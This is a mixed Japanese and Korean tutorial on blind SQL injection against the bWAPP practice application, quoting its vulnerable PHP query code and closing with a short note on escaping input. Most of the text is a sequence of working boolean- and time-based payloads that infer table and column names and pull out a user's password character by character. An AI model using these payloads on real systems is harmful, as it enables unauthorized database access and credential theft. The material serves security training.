Part-1,Blind SQL注入


  • この文章の無断転載と再配布は禁止されています.
  • 許可されていないサービス対象者をハッカーが攻撃しようとする行為は犯罪行為である.悪意のある目的で本内容を使用する場合、すべての責任(法律責任を含む)は各方面が負担し、著者はいかなる責任も負わない.

    Blind SQL注入


    真実と虚偽のクエリー結果のみを出力するページで使用される攻撃.
    データベースの内容を推測してクエリーを作成

    Boolean Based

    -sqli_4.php 소스 중
    $sql = "SELECT * FROM movies WHERE title = '" . sqli($title) . "'";
    if(mysql_num_rows($recordset) != 0)
    {
       echo "The movie exists in our database!";
    }
    else
    {
       echo "The movie does not exist in our database!";
    }
    
    ' or 1=1 and length(database())=5#
    
    -- 실제 쿼리문 대입 시 아래와 같음
    SELECT * FROM movies WHERE title = '' or 1=1 and length(database())=5#'
    
    *SQL에서 AND가 OR보다 우선순위가 높다.
    출처 및 참고하면 좋을 링크: https://goguri.tistory.com/460
    즉 아래와 같이 실행
    SELECT * FROM movies WHERE (title = '' or (1=1 and length(database())=5))#'
    ' or 1=1 and substring(database(),1,1)='b'#
    --> database명은 b로 시작되는 것을 알 수 있음
    ' or 1=1 and ascii(substring(database(),1,1))=98 #
    --> 작은 따옴표가 필터링으로 막힌 경우에 유용한 ascii함수
    -- 
    ' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100 #
    
    해석
    table_type='base table' 일반테이블만 
    table_schema='bWAPP'    bWAPP DB에 있는 테이블 중
    limit 0,1               결과값 에서 상위에서 1개만
    substr (문자열,index,    문자열, 시작 위치값, 길이값
    length)   
    ascii()                 아스키값으로 변환 
    *String -> ascii 변환 사이트 : www.easycalculation.com/ascii-hex.php
    **응용**
    -- 네번째 테이블이 users 라는 것을 알 수 있음
    
    ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),1,1)) = 117  #
    --> u
    ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),2,1)) = 115  #
    --> us
    ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),3,1)) = 101  #
    --> use
    ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),4,1)) = 114   #
    --> user
    ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),4,1)) = 115   #
    --> users
    **비밀번호 원문이 아닌 해시값이 저장되어 있을 경우 어떤 해시 함수를 사용하는지 확인 방법
    --md5
    ' or 1=1 and md5("bug") = (select password from users where login='bee')#
    --sha
    ' or 1=1 and sha1("bug") = (select password from users where login='bee')#

    Time Based


    ところで、すべての検索結果が同じメッセージを出力する場合、sleep関数を使用して対()を区別し、対と偽で異なる反応を出力します.
    --sqli_15.php 소스 중
    $sql = "SELECT * FROM movies WHERE title = '" . sqli($title) . "'";
    --거짓 [무지연]
    ' or length(database())=4 and sleep(3)#
    
    -- 참 [3초 지연]
    ' or length(database())=5 and sleep(3)#
    
    --두번째 테이블이 h로 시작하는 것을 알 수 있다.
    ' or ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 1,1),1,1)) = 104  and sleep(1)#
    
    --테이블명이 'heroes'라는 정보를 알게 된 후 
      2번째 컬럼명 첫글자 조회  = login
    ' or substring((select column_name from information_schema.columns where table_name='heroes' limit 1,1),1,1) = 'l'  and sleep(1)#
    
    --heroes 테이블의 login 컬럼 정보를 알게 된 후 
      3번째 컬럼명 첫글자 조회 = password
    ' or substring((select column_name from information_schema.columns where table_name='heroes' limit 2,1),1,1) = 'p'  and sleep(1)#
    
    --사용자의 아이디가 neo인 password 길이 조회 = 7
    ' or length((select password from heroes where login='neo'))=7 and sleep(1)#
    
    --사용자의 아이디가 neo인 password의 첫번째 글자 = t
    ' or substr((select password from heroes where login='neo'),1,1)='t' and sleep(1)#
    

    IDとパスワードを入力し[neo/trinity]ログインに成功しました

    🔑対応策


    入力データがSQL構文で認識されないようにします.たとえば、SQL構文で特殊文字を使用するときにスラッシュを付けます.
    PHPはmysql real escap string関数を使用してNULL、n、r(前に移動)、"、"^Z特殊文字を迂回